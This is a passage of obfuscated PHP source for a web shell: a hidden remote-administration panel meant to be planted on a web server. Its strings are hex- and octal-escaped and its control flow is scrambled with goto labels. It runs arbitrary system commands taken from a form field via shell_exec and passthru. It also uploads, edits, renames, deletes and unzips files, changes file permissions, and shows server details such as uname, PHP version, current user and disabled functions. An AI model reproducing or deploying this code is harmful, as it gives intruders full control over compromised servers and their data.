"\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo "\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: 